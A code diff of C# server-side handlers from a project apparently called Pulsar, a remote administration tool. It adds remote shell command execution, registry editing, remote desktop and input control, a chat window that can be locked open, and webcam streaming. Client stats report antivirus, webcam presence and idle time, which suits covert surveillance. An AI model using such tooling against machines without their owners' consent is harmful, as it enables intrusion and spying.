/// The local resolution in width x height. It indicates to which resolution the received frame should be resized.
/// </summary>
/// <remarks>
/// This property is thread-safe.
/// </remarks>
public Size LocalResolution
{
get
{
lock (_sizeLock)
{
return _localResolution;
}
}
set
{
lock (_sizeLock)
{
_localResolution = value;
}
}
}
public override bool CanExecute(IMessage message) => message is GetPreviewResponse;
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
public override void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetPreviewResponse frame:
Execute(sender, frame);
break;
}
}
private void Execute(ISender client, GetPreviewResponse message)
{
lock (_syncLock)
{
if (_codec == null || _codec.ImageQuality != message.Quality || _codec.Monitor != message.Monitor || _codec.Resolution != message.Resolution)
{
_codec?.Dispose();
_codec = new UnsafeStreamCodec(message.Quality, message.Monitor, message.Resolution);
}
using (MemoryStream ms = new MemoryStream(message.Image))
{
try
{
Bitmap boxmap = new Bitmap(_codec.DecodeData(ms), LocalResolution);
OnReport(boxmap);
_box.Image = boxmap;
}
catch (Exception ex)
{
Debug.WriteLine("Error decoding image: " + ex.Message);
}
}
message.Image = null;
if (_verticleStatsTable.InvokeRequired)
{
_verticleStatsTable.Invoke(new MethodInvoker(() =>
{
UpdateStats(message);
}));
}
else
{
UpdateStats(message);
}
}
}
public void SetLastPing(int ms)
{
_lastPingMs = ms;
if (_verticleStatsTable != null && _verticleStatsTable.IsHandleCreated && _lastPreviewResponse != null)
{
if (_verticleStatsTable.InvokeRequired)
{
_verticleStatsTable.Invoke(new MethodInvoker(() => UpdateStats(_lastPreviewResponse)));
}
else
{
UpdateStats(_lastPreviewResponse);
}
}
}
private void UpdateStats(GetPreviewResponse message)
{
try
{
if (message == null)
{
return;
}
_lastPreviewResponse = message;
// Check if the ListView has been initialized and has columns
if (_verticleStatsTable.Columns.Count < 2)
{
// Create columns if they don't exist
if (_verticleStatsTable.Columns.Count == 0)
_verticleStatsTable.Columns.Add("Names", 100);
if (_verticleStatsTable.Columns.Count == 1)
_verticleStatsTable.Columns.Add("Stats", 150);
}
// Clear existing items to avoid duplicate entries
_verticleStatsTable.Items.Clear();
// Add the stats as new items
var cpuItem = new ListViewItem("CPU");
cpuItem.SubItems.Add(message.CPU);
_verticleStatsTable.Items.Add(cpuItem);
var gpuItem = new ListViewItem("GPU");
gpuItem.SubItems.Add(message.GPU);
_verticleStatsTable.Items.Add(gpuItem);
if (double.TryParse(message.RAM, out double ramInMb))
{
double ramInGb = ramInMb / 1024;
int roundedRAM = (int)Math.Round(ramInGb);
var ramItem = new ListViewItem("RAM");
ramItem.SubItems.Add($"{roundedRAM} GB");
_verticleStatsTable.Items.Add(ramItem);
}
else
{
var ramItem = new ListViewItem("RAM");
ramItem.SubItems.Add(message.RAM);
_verticleStatsTable.Items.Add(ramItem);
}
var uptimeItem = new ListViewItem("Uptime");
uptimeItem.SubItems.Add(message.Uptime);
_verticleStatsTable.Items.Add(uptimeItem);
var antivirusItem = new ListViewItem("Antivirus");
antivirusItem.SubItems.Add(message.AV);
_verticleStatsTable.Items.Add(antivirusItem);
var mainBrowserItem = new ListViewItem("Default Browser");
mainBrowserItem.SubItems.Add(message.MainBrowser);
_verticleStatsTable.Items.Add(mainBrowserItem);
var pingItem = new ListViewItem("Ping");
pingItem.SubItems.Add(_lastPingMs >= 0 ? _lastPingMs + " ms" : "N/A");
_verticleStatsTable.Items.Add(pingItem);
var webcamItem = new ListViewItem("Webcam");
webcamItem.SubItems.Add(message.HasWebcam ? "Yes" : "No");
_verticleStatsTable.Items.Add(webcamItem);
var afkItem = new ListViewItem("AFK Time");
afkItem.SubItems.Add(message.AFKTime);
_verticleStatsTable.Items.Add(afkItem);
}
catch (Exception ex)
{
Debug.WriteLine("Error updating stats: " + ex.Message);
}
}
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
lock (_syncLock)
{
_codec?.Dispose();
IsStarted = false;
}
if (_pingHandler != null)
{
MessageHandler.Unregister(_pingHandler);
_pingHandler.ProgressChanged -= OnPingReceived;
}
}
}
}
}
+415
View File
@@ -0,0 +1,415 @@
using Microsoft.Win32;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Administration.RegistryEditor;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
using Pulsar.Common.Networking;
using Pulsar.Server.Networking;
namespace Pulsar.Server.Messages
{
/// <summary>
/// Handles messages for the interaction with the remote registry.
/// </summary>
public class RegistryHandler : MessageProcessorBase<string>
{
/// <summary>
/// The client which is associated with this registry handler.
/// </summary>
private readonly Client _client;
public delegate void KeysReceivedEventHandler(object sender, string rootKey, RegSeekerMatch[] matches);
public delegate void KeyCreatedEventHandler(object sender, string parentPath, RegSeekerMatch match);
public delegate void KeyDeletedEventHandler(object sender, string parentPath, string subKey);
public delegate void KeyRenamedEventHandler(object sender, string parentPath, string oldSubKey, string newSubKey);
public delegate void ValueCreatedEventHandler(object sender, string keyPath, RegValueData value);
public delegate void ValueDeletedEventHandler(object sender, string keyPath, string valueName);
public delegate void ValueRenamedEventHandler(object sender, string keyPath, string oldValueName, string newValueName);
public delegate void ValueChangedEventHandler(object sender, string keyPath, RegValueData value);
public event KeysReceivedEventHandler KeysReceived;
public event KeyCreatedEventHandler KeyCreated;
public event KeyDeletedEventHandler KeyDeleted;
public event KeyRenamedEventHandler KeyRenamed;
public event ValueCreatedEventHandler ValueCreated;
public event ValueDeletedEventHandler ValueDeleted;
public event ValueRenamedEventHandler ValueRenamed;
public event ValueChangedEventHandler ValueChanged;
/// <summary>
/// Reports initially received registry keys.
/// </summary>
/// <param name="rootKey">The root registry key name.</param>
/// <param name="matches">The child registry keys.</param>
private void OnKeysReceived(string rootKey, RegSeekerMatch[] matches)
{
SynchronizationContext.Post(t =>
{
var handler = KeysReceived;
handler?.Invoke(this, rootKey, (RegSeekerMatch[]) t);
}, matches);
}
/// <summary>
/// Reports created registry keys.
/// </summary>
/// <param name="parentPath">The registry key parent path.</param>
/// <param name="match">The created registry key.</param>
private void OnKeyCreated(string parentPath, RegSeekerMatch match)
{
SynchronizationContext.Post(t =>
{
var handler = KeyCreated;
handler?.Invoke(this, parentPath, (RegSeekerMatch) t);
}, match);
}
/// <summary>
/// Reports deleted registry keys.
/// </summary>
/// <param name="parentPath">The registry key parent path.</param>
/// <param name="subKey">The registry sub key name.</param>
private void OnKeyDeleted(string parentPath, string subKey)
{
SynchronizationContext.Post(t =>
{
var handler = KeyDeleted;
handler?.Invoke(this, parentPath, (string) t);
}, subKey);
}
/// <summary>
/// Reports renamed registry keys.
/// </summary>
/// <param name="parentPath">The registry key parent path.</param>
/// <param name="oldSubKey">The old registry sub key name.</param>
/// <param name="newSubKey">The new registry sub key name.</param>
private void OnKeyRenamed(string parentPath, string oldSubKey, string newSubKey)
{
SynchronizationContext.Post(t =>
{
var handler = KeyRenamed;
handler?.Invoke(this, parentPath, oldSubKey, (string) t);
}, newSubKey);
}
/// <summary>
/// Reports created registry values.
/// </summary>
/// <param name="keyPath">The registry key path.</param>
/// <param name="value">The created value.</param>
private void OnValueCreated(string keyPath, RegValueData value)
{
SynchronizationContext.Post(t =>
{
var handler = ValueCreated;
handler?.Invoke(this, keyPath, (RegValueData)t);
}, value);
}
/// <summary>
/// Reports deleted registry values.
/// </summary>
/// <param name="keyPath">The registry key path.</param>
/// <param name="valueName">The value name.</param>
private void OnValueDeleted(string keyPath, string valueName)
{
SynchronizationContext.Post(t =>
{
var handler = ValueDeleted;
handler?.Invoke(this, keyPath, (string) t);
}, valueName);
}
/// <summary>
/// Reports renamed registry values.
/// </summary>
/// <param name="keyPath">The registry key path.</param>
/// <param name="oldValueName">The old value name.</param>
/// <param name="newValueName">The new value name.</param>
private void OnValueRenamed(string keyPath, string oldValueName, string newValueName)
{
SynchronizationContext.Post(t =>
{
var handler = ValueRenamed;
handler?.Invoke(this, keyPath, oldValueName, (string) t);
}, newValueName);
}
/// <summary>
/// Reports changed registry values.
/// </summary>
/// <param name="keyPath">The registry key path.</param>
/// <param name="value">The new value.</param>
private void OnValueChanged(string keyPath, RegValueData value)
{
SynchronizationContext.Post(t =>
{
var handler = ValueChanged;
handler?.Invoke(this, keyPath, (RegValueData) t);
}, value);
}
/// <summary>
/// Initializes a new instance of the <see cref="RegistryHandler"/> class using the given client.
/// </summary>
/// <param name="client">The associated client.</param>
public RegistryHandler(Client client) : base(true)
{
_client = client;
}
/// <inheritdoc />
public override bool CanExecute(IMessage message) => message is GetRegistryKeysResponse ||
message is GetCreateRegistryKeyResponse ||
message is GetDeleteRegistryKeyResponse ||
message is GetRenameRegistryKeyResponse ||
message is GetCreateRegistryValueResponse ||
message is GetDeleteRegistryValueResponse ||
message is GetRenameRegistryValueResponse ||
message is GetChangeRegistryValueResponse;
/// <inheritdoc />
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
/// <inheritdoc />
public override void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetRegistryKeysResponse keysResp:
Execute(sender, keysResp);
break;
case GetCreateRegistryKeyResponse createKeysResp:
Execute(sender, createKeysResp);
break;
case GetDeleteRegistryKeyResponse deleteKeysResp:
Execute(sender, deleteKeysResp);
break;
case GetRenameRegistryKeyResponse renameKeysResp:
Execute(sender, renameKeysResp);
break;
case GetCreateRegistryValueResponse createValueResp:
Execute(sender, createValueResp);
break;
case GetDeleteRegistryValueResponse deleteValueResp:
Execute(sender, deleteValueResp);
break;
case GetRenameRegistryValueResponse renameValueResp:
Execute(sender, renameValueResp);
break;
case GetChangeRegistryValueResponse changeValueResp:
Execute(sender, changeValueResp);
break;
}
}
/// <summary>
/// Loads the registry keys of a given root key.
/// </summary>
/// <param name="rootKeyName">The root key name.</param>
public void LoadRegistryKey(string rootKeyName)
{
_client.Send(new DoLoadRegistryKey
{
RootKeyName = rootKeyName
});
}
/// <summary>
/// Creates a registry key at the given parent path.
/// </summary>
/// <param name="parentPath">The parent path.</param>
public void CreateRegistryKey(string parentPath)
{
_client.Send(new DoCreateRegistryKey
{
ParentPath = parentPath
});
}
/// <summary>
/// Deletes the given registry key.
/// </summary>
/// <param name="parentPath">The parent path of the registry key to delete.</param>
/// <param name="keyName">The registry key name to delete.</param>
public void DeleteRegistryKey(string parentPath, string keyName)
{
_client.Send(new DoDeleteRegistryKey
{
ParentPath = parentPath,
KeyName = keyName
});
}
/// <summary>
/// Renames the given registry key.
/// </summary>
/// <param name="parentPath">The parent path of the registry key to rename.</param>
/// <param name="oldKeyName">The old name of the registry key.</param>
/// <param name="newKeyName">The new name of the registry key.</param>
public void RenameRegistryKey(string parentPath, string oldKeyName, string newKeyName)
{
_client.Send(new DoRenameRegistryKey
{
ParentPath = parentPath,
OldKeyName = oldKeyName,
NewKeyName = newKeyName
});
}
/// <summary>
/// Creates a registry key value.
/// </summary>
/// <param name="keyPath">The registry key path.</param>
/// <param name="kind">The kind of registry key value.</param>
public void CreateRegistryValue(string keyPath, RegistryValueKind kind)
{
_client.Send(new DoCreateRegistryValue
{
KeyPath = keyPath,
Kind = kind
});
}
/// <summary>
/// Deletes the registry key value.
/// </summary>
/// <param name="keyPath">The registry key path.</param>
/// <param name="valueName">The registry key value name to delete.</param>
public void DeleteRegistryValue(string keyPath, string valueName)
{
_client.Send(new DoDeleteRegistryValue
{
KeyPath = keyPath,
ValueName = valueName
});
}
/// <summary>
/// Renames the registry key value.
/// </summary>
/// <param name="keyPath">The registry key path.</param>
/// <param name="oldValueName">The old registry key value name.</param>
/// <param name="newValueName">The new registry key value name.</param>
public void RenameRegistryValue(string keyPath, string oldValueName, string newValueName)
{
_client.Send(new DoRenameRegistryValue
{
KeyPath = keyPath,
OldValueName = oldValueName,
NewValueName = newValueName
});
}
/// <summary>
/// Changes the registry key value.
/// </summary>
/// <param name="keyPath">The registry key path.</param>
/// <param name="value">The updated registry key value.</param>
public void ChangeRegistryValue(string keyPath, RegValueData value)
{
_client.Send(new DoChangeRegistryValue
{
KeyPath = keyPath,
Value = value
});
}
private void Execute(ISender client, GetRegistryKeysResponse message)
{
if (!message.IsError)
{
OnKeysReceived(message.RootKey, message.Matches);
}
else
{
OnReport(message.ErrorMsg);
}
}
private void Execute(ISender client, GetCreateRegistryKeyResponse message)
{
if (!message.IsError)
{
OnKeyCreated(message.ParentPath, message.Match);
}
else
{
OnReport(message.ErrorMsg);
}
}
private void Execute(ISender client, GetDeleteRegistryKeyResponse message)
{
if (!message.IsError)
{
OnKeyDeleted(message.ParentPath, message.KeyName);
}
else
{
OnReport(message.ErrorMsg);
}
}
private void Execute(ISender client, GetRenameRegistryKeyResponse message)
{
if (!message.IsError)
{
OnKeyRenamed(message.ParentPath, message.OldKeyName, message.NewKeyName);
}
else
{
OnReport(message.ErrorMsg);
}
}
private void Execute(ISender client, GetCreateRegistryValueResponse message)
{
if (!message.IsError)
{
OnValueCreated(message.KeyPath, message.Value);
}
else
{
OnReport(message.ErrorMsg);
}
}
private void Execute(ISender client, GetDeleteRegistryValueResponse message)
{
if (!message.IsError)
{
OnValueDeleted(message.KeyPath, message.ValueName);
}
else
{
OnReport(message.ErrorMsg);
}
}
private void Execute(ISender client, GetRenameRegistryValueResponse message)
{
if (!message.IsError)
{
OnValueRenamed(message.KeyPath, message.OldValueName, message.NewValueName);
}
else
{
OnReport(message.ErrorMsg);
}
}
private void Execute(ISender client, GetChangeRegistryValueResponse message)
{
if (!message.IsError)
{
OnValueChanged(message.KeyPath, message.Value);
}
else
{
OnReport(message.ErrorMsg);
}
}
}
}
@@ -0,0 +1,82 @@
using Pulsar.Common.Messages.UserSupport.RemoteChat;
using Pulsar.Common.Messages;
using Pulsar.Common.Networking;
using Pulsar.Server.Networking;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading;
using System.Windows.Forms;
using Pulsar.Common.Messages.Other;
using Pulsar.Server.Forms;
namespace Pulsar.Server.Messages
{
public class RemoteChatHandler : MessageProcessorBase<object>
{
private readonly Client _client;
public delegate void RetrievedMessageHandler(object sender, string Message);
public event RetrievedMessageHandler PacketsRetrieved;
private void RetrieveClientMessage(string Message)
{
SynchronizationContext.Post(d =>
{
var handler = PacketsRetrieved;
handler?.Invoke(this, (string)d);
}, Message);
}
public RemoteChatHandler(Client clients) : base(true)
{
_client = clients;
}
/// <inheritdoc />
public override bool CanExecute(IMessage message) => message is GetChat;
/// <inheritdoc />
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
public override void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetChat pass:
Execute(sender, pass);
break;
}
}
public void StartForm(string Title, string WelcomeMessage, bool TopMost, bool DisableClose, bool DisableType)
{
_client.Send(new DoStartChatForm{
Title = Title,
WelcomeMessage = WelcomeMessage,
TopMost = TopMost,
DisableClose = DisableClose,
DisableType = DisableType
});
}
public void KillForm()
{
_client.Send(new DoKillChatForm());
}
public void SendMessageClient(string user, string message)
{
_client.Send(new DoChat {
User = user,
PacketDms = message });
}
private void Execute(ISender client, GetChat message)
{
Client c = (Client)client;
RetrieveClientMessage(message.Message);
}
}
}
@@ -0,0 +1,482 @@
using Pulsar.Common.Enums;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Monitoring.RemoteDesktop;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using Pulsar.Common.Video.Codecs;
using Pulsar.Server.Networking;
using System;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Threading;
using System.Threading.Tasks;
using System.Collections.Concurrent;
namespace Pulsar.Server.Messages
{
/// <summary>
/// Handles messages for the interaction with the remote desktop.
/// </summary>
public class RemoteDesktopHandler : MessageProcessorBase<Bitmap>, IDisposable
{
/// <summary>
/// States if the client is currently streaming desktop frames.
/// </summary>
public bool IsStarted { get; set; }
/// <summary>
/// Gets or sets whether the remote desktop is using buffered mode.
/// </summary>
public bool IsBufferedMode { get; set; } = true;
/// <summary>
/// Used in lock statements to synchronize access to <see cref="_codec"/> between UI thread and thread pool.
/// </summary>
private readonly object _syncLock = new object();
/// <summary>
/// Used in lock statements to synchronize access to <see cref="LocalResolution"/> between UI thread and thread pool.
/// </summary>
private readonly object _sizeLock = new object();
/// <summary>
/// The local resolution, see <seealso cref="LocalResolution"/>.
/// </summary>
private Size _localResolution;
/// <summary>
/// The local resolution in width x height. It indicates to which resolution the received frame should be resized.
/// </summary>
/// <remarks>
/// This property is thread-safe.
/// </remarks>
public Size LocalResolution
{
get
{
lock (_sizeLock)
{
return _localResolution;
}
}
set
{
lock (_sizeLock)
{
_localResolution = value;
}
}
}
/// <summary>
/// Represents the method that will handle display changes.
/// </summary>
/// <param name="sender">The message processor which raised the event.</param>
/// <param name="value">All currently available displays.</param>
public delegate void DisplaysChangedEventHandler(object sender, int value);
/// <summary>
/// Raised when a display changed.
/// </summary>
/// <remarks>
/// Handlers registered with this event will be invoked on the
/// <see cref="System.Threading.SynchronizationContext"/> chosen when the instance was constructed.
/// </remarks>
public event DisplaysChangedEventHandler DisplaysChanged;
/// <summary>
/// Reports changed displays.
/// </summary>
/// <param name="value">All currently available displays.</param>
private void OnDisplaysChanged(int value)
{
SynchronizationContext.Post(val =>
{
var handler = DisplaysChanged;
handler?.Invoke(this, (int)val);
}, value);
}
/// <summary>
/// The client which is associated with this remote desktop handler.
/// </summary>
private readonly Client _client;
/// <summary>
/// The video stream codec used to decode received frames.
/// </summary>
private UnsafeStreamCodec _codec; // buffer parameters
private readonly int _initialFramesRequested = 20; // request 20 frames initially for 60 FPS
private readonly int _defaultFrameRequestBatch = 15; // request 15 frames at a time for sustained 60 FPS
private int _pendingFrames = 0;
private readonly SemaphoreSlim _frameRequestSemaphore = new SemaphoreSlim(1, 1);
private readonly Stopwatch _frameReceiptStopwatch = new Stopwatch();
private readonly ConcurrentQueue<long> _frameTimestamps = new ConcurrentQueue<long>();
private readonly int _fpsCalculationWindow = 10; // calculate FPS based on last 10 frames
private readonly Stopwatch _performanceMonitor = new Stopwatch();
private int _framesReceived = 0;
private double _estimatedFps = 0;
private long _accumulatedFrameBytes = 0;
private int _frameBytesSamples = 0;
private long _lastFrameBytes = 0;
/// <summary>
/// Size in bytes of the most recently received compressed frame.
/// </summary>
public long LastFrameSizeBytes => Interlocked.Read(ref _lastFrameBytes);
/// <summary>
/// Average compressed frame size in bytes across the current streaming session.
/// </summary>
public double AverageFrameSizeBytes
{
get
{
long total = Interlocked.Read(ref _accumulatedFrameBytes);
int count = Volatile.Read(ref _frameBytesSamples);
return count > 0 ? (double)total / count : 0.0;
}
}
/// <summary>
/// Stores the last FPS reported by the client.
/// </summary>
private float _lastReportedFps = -1f;
/// <summary>
/// Shows the last FPS reported by the client, or estimated FPS if not available.
/// </summary>
public float CurrentFps => _lastReportedFps > 0 ? _lastReportedFps : (float)_estimatedFps;
/// <summary>
/// Initializes a new instance of the <see cref="RemoteDesktopHandler"/> class using the given client.
/// </summary>
/// <param name="client">The associated client.</param>
public RemoteDesktopHandler(Client client) : base(true)
{
_client = client;
_performanceMonitor.Start();
}
/// <inheritdoc />
public override bool CanExecute(IMessage message) => message is GetDesktopResponse || message is GetMonitorsResponse;
/// <inheritdoc />
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
/// <inheritdoc />
public override void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetDesktopResponse d:
Execute(sender, d);
break;
case GetMonitorsResponse m:
Execute(sender, m);
break;
}
}
private void ClearTimeStamps()
{
while (_frameTimestamps.TryDequeue(out _)) { }
}
/// <summary>
/// Begins receiving frames from the client using the specified quality and display.
/// </summary>
/// <param name="quality">The quality of the remote desktop frames.</param>
/// <param name="display">The display to receive frames from.</param>
/// <param name="useGPU">Whether to use GPU for screen capture.</param>
public void BeginReceiveFrames(int quality, int display, bool useGPU)
{
lock (_syncLock)
{
IsStarted = true;
_codec?.Dispose();
_codec = null;
// Reset buffering counters
_pendingFrames = _initialFramesRequested;
ClearTimeStamps();
_framesReceived = 0;
_frameReceiptStopwatch.Restart();
// Start in buffered mode
_client.Send(new GetDesktop
{
CreateNew = true,
Quality = quality,
DisplayIndex = display,
Status = RemoteDesktopStatus.Start,
UseGPU = useGPU,
IsBufferedMode = IsBufferedMode,
FramesRequested = _initialFramesRequested
});
}
}
/// <summary>
/// Ends receiving frames from the client.
/// </summary>
public void EndReceiveFrames()
{
lock (_syncLock)
{
IsStarted = false;
}
Debug.WriteLine("Remote desktop session stopped");
_client.Send(new GetDesktop { Status = RemoteDesktopStatus.Stop });
}
/// <summary>
/// Refreshes the available displays of the client.
/// </summary>
public void RefreshDisplays()
{
Debug.WriteLine("Refreshing displays");
_client.Send(new GetMonitors());
}
/// <summary>
/// Sends a mouse event to the specified display of the client.
/// </summary>
/// <param name="mouseAction">The mouse action to send.</param>
/// <param name="isMouseDown">Indicates whether it's a mousedown or mouseup event.</param>
/// <param name="x">The X-coordinate inside the <see cref="LocalResolution"/>.</param>
/// <param name="y">The Y-coordinate inside the <see cref="LocalResolution"/>.</param>
/// <param name="displayIndex">The display to execute the mouse event on.</param>
public void SendMouseEvent(MouseAction mouseAction, bool isMouseDown, int x, int y, int displayIndex)
{
lock (_syncLock)
{
if (_codec == null) return;
_client.Send(new DoMouseEvent
{
Action = mouseAction,
IsMouseDown = isMouseDown,
// calculate remote width & height
X = x * _codec.Resolution.Width / LocalResolution.Width,
Y = y * _codec.Resolution.Height / LocalResolution.Height,
MonitorIndex = displayIndex
});
}
}
/// <summary>
/// Sends a keyboard event to the client.
/// </summary>
/// <param name="keyCode">The pressed key.</param>
/// <param name="keyDown">Indicates whether it's a keydown or keyup event.</param>
public void SendKeyboardEvent(byte keyCode, bool keyDown)
{
_client.Send(new DoKeyboardEvent { Key = keyCode, KeyDown = keyDown });
}
/// <summary>
/// Sends a drawing event to the client.
/// </summary>
/// <param name="x">The X coordinate.</param>
/// <param name="y">The Y coordinate.</param>
/// <param name="prevX">The previous X coordinate.</param>
/// <param name="prevY">The previous Y coordinate.</param>
/// <param name="strokeWidth">The width of the stroke.</param>
/// <param name="colorArgb">The color in ARGB format.</param>
/// <param name="isEraser">True if using eraser, false for drawing.</param>
/// <param name="isClearAll">True to clear all drawings.</param>
/// <param name="displayIndex">The display index to draw on.</param>
public void SendDrawingEvent(int x, int y, int prevX, int prevY, int strokeWidth, int colorArgb, bool isEraser, bool isClearAll, int displayIndex)
{
lock (_syncLock)
{
if (_codec == null || !IsStarted) return;
int remoteX = x * _codec.Resolution.Width / LocalResolution.Width;
int remoteY = y * _codec.Resolution.Height / LocalResolution.Height;
int remotePrevX = prevX * _codec.Resolution.Width / LocalResolution.Width;
int remotePrevY = prevY * _codec.Resolution.Height / LocalResolution.Height;
_client.Send(new DoDrawingEvent
{
X = remoteX,
Y = remoteY,
PrevX = remotePrevX,
PrevY = remotePrevY,
StrokeWidth = strokeWidth,
ColorArgb = colorArgb,
IsEraser = isEraser,
IsClearAll = isClearAll,
MonitorIndex = displayIndex
});
}
} private async void Execute(ISender client, GetDesktopResponse message)
{
_framesReceived++;
// Capture the FPS reported by the client
if (message.FrameRate > 0 && message.FrameRate != _lastReportedFps)
{
_lastReportedFps = message.FrameRate;
Debug.WriteLine($"Client-reported FPS updated: {_lastReportedFps}");
}
if (_performanceMonitor.ElapsedMilliseconds >= 1000)
{
_estimatedFps = _framesReceived / (_performanceMonitor.ElapsedMilliseconds / 1000.0);
Debug.WriteLine($"Estimated FPS: {_estimatedFps:F1}, Client-reported FPS: {(_lastReportedFps > 0 ? _lastReportedFps.ToString("F1") : "N/A")}, Frames received: {_framesReceived}");
_framesReceived = 0;
_performanceMonitor.Restart();
}
lock (_syncLock)
{
if (!IsStarted)
return;
if (_codec == null || _codec.ImageQuality != message.Quality || _codec.Monitor != message.Monitor || _codec.Resolution != message.Resolution)
{
_codec?.Dispose();
_codec = new UnsafeStreamCodec(message.Quality, message.Monitor, message.Resolution);
}
if (message.Image != null)
{
long size = message.Image.LongLength;
Interlocked.Exchange(ref _lastFrameBytes, size);
Interlocked.Add(ref _accumulatedFrameBytes, size);
Interlocked.Increment(ref _frameBytesSamples);
}
using (var ms = new MemoryStream(message.Image))
{
try
{
var decoded = _codec.DecodeData(ms);
if (decoded != null)
{
EnsureLocalResolutionInitialized(decoded.Size);
OnReport(decoded);
}
}
catch (Exception ex)
{
Debug.WriteLine($"Error decoding frame: {ex.Message}");
}
}
message.Image = null;
long serverTimestamp = Stopwatch.GetTimestamp();
_frameTimestamps.Enqueue(serverTimestamp);
if (_framesReceived % _fpsCalculationWindow == 0)
{
double elapsedSeconds = _performanceMonitor.Elapsed.TotalSeconds;
_estimatedFps = _framesReceived / elapsedSeconds;
if (_framesReceived >= 100)
{
_framesReceived = 0;
_performanceMonitor.Restart();
}
}
while (_frameTimestamps.Count > _fpsCalculationWindow && _frameTimestamps.TryDequeue(out _)) { }
Interlocked.Decrement(ref _pendingFrames);
}
if (IsBufferedMode && (message.IsLastRequestedFrame || _pendingFrames <= 8))
{
await RequestMoreFramesAsync();
}
}
private void EnsureLocalResolutionInitialized(Size fallbackSize)
{
if (fallbackSize.Width <= 0 || fallbackSize.Height <= 0)
{
return;
}
var current = LocalResolution;
if (current.Width <= 0 || current.Height <= 0)
{
LocalResolution = fallbackSize;
}
}
private async Task RequestMoreFramesAsync()
{
if (!await _frameRequestSemaphore.WaitAsync(10))
return;
try
{
int batchSize = _defaultFrameRequestBatch;
if (_estimatedFps > 40)
batchSize = 20;
else if (_estimatedFps > 30)
batchSize = 15;
else if (_estimatedFps > 20)
batchSize = 10;
else if (_estimatedFps > 10)
batchSize = 5;
else
batchSize = 3;
Debug.WriteLine($"Requesting {batchSize} more frames (estimated FPS: {_estimatedFps:F1})");
Interlocked.Add(ref _pendingFrames, batchSize);
_client.Send(new GetDesktop
{
CreateNew = false,
Quality = _codec?.ImageQuality ?? 75,
DisplayIndex = _codec?.Monitor ?? 0,
Status = RemoteDesktopStatus.Continue,
IsBufferedMode = true,
FramesRequested = batchSize
});
}
finally
{
_frameRequestSemaphore.Release();
}
}
private void Execute(ISender client, GetMonitorsResponse message)
{
OnDisplaysChanged(message.Number);
}
/// <summary>
/// Disposes all managed and unmanaged resources associated with this message processor.
/// </summary>
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
lock (_syncLock)
{
_codec?.Dispose();
_frameRequestSemaphore?.Dispose();
IsStarted = false;
}
}
}
}
}
@@ -0,0 +1,98 @@
using System;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Administration.RemoteShell;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using Pulsar.Server.Networking;
namespace Pulsar.Server.Messages
{
/// <summary>
/// Handles messages for the interaction with the remote shell.
/// </summary>
public class RemoteShellHandler : MessageProcessorBase<string>, IDisposable
{
/// <summary>
/// The client which is associated with this remote shell handler.
/// </summary>
private readonly Client _client;
/// <summary>
/// Represents the method that will command errors.
/// </summary>
/// <param name="sender">The message processor which raised the event.</param>
/// <param name="errorMessage">The error message.</param>
public delegate void CommandErrorEventHandler(object sender, string errorMessage);
/// <summary>
/// Raised when a command writes to stderr.
/// </summary>
/// <remarks>
/// Handlers registered with this event will be invoked on the
/// <see cref="System.Threading.SynchronizationContext"/> chosen when the instance was constructed.
/// </remarks>
public event CommandErrorEventHandler CommandError;
/// <summary>
/// Reports a command error.
/// </summary>
/// <param name="errorMessage">The error message.</param>
private void OnCommandError(string errorMessage)
{
SynchronizationContext.Post(val =>
{
var handler = CommandError;
handler?.Invoke(this, (string)val);
}, errorMessage);
}
/// <summary>
/// Initializes a new instance of the <see cref="RemoteShellHandler"/> class using the given client.
/// </summary>
/// <param name="client">The associated client.</param>
public RemoteShellHandler(Client client) : base(true)
{
_client = client;
}
/// <inheritdoc />
public override bool CanExecute(IMessage message) => message is DoShellExecuteResponse;
/// <inheritdoc />
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
/// <inheritdoc />
public override void Execute(ISender sender, IMessage message)
{
switch (message)
{
case DoShellExecuteResponse resp:
Execute(sender, resp);
break;
}
}
/// <summary>
/// Sends a command to execute in the remote shell of the client.
/// </summary>
/// <param name="command">The command to execute.</param>
public void SendCommand(string command)
{
_client.Send(new DoShellExecute {Command = command});
}
private void Execute(ISender client, DoShellExecuteResponse message)
{
if (message.IsError)
OnCommandError(message.Output);
else
OnReport(message.Output);
}
/// <inheritdoc />
public void Dispose()
{
CommandError = null;
}
}
}
@@ -0,0 +1,383 @@
using Pulsar.Common.Enums;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Messages.Webcam;
using Pulsar.Common.Networking;
using Pulsar.Common.Video.Codecs;
using Pulsar.Server.Networking;
using System;
using System.Collections.Concurrent;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Threading;
using System.Threading.Tasks;
namespace Pulsar.Server.Messages
{
/// <summary>
/// Handles messages for the interaction with the remote webcam.
/// </summary>
public class RemoteWebcamHandler : MessageProcessorBase<Bitmap>, IDisposable
{
/// <summary>
/// States if the client is currently streaming webcam frames.
/// </summary>
public bool IsStarted { get; set; }
/// <summary>
/// Gets or sets whether the remote webcam is using buffered mode.
/// </summary>
public bool IsBufferedMode { get; set; } = true;
/// <summary>
/// Used in lock statements to synchronize access to <see cref="_codec"/> between UI thread and thread pool.
/// </summary>
private readonly object _syncLock = new object();
/// <summary>
/// Used in lock statements to synchronize access to <see cref="LocalResolution"/> between UI thread and thread pool.
/// </summary>
private readonly object _sizeLock = new object();
/// <summary>
/// The local resolution, see <seealso cref="LocalResolution"/>.
/// </summary>
private Size _localResolution;
/// <summary>
/// The local resolution in width x height. It indicates to which resolution the received frame should be resized.
/// </summary>
/// <remarks>
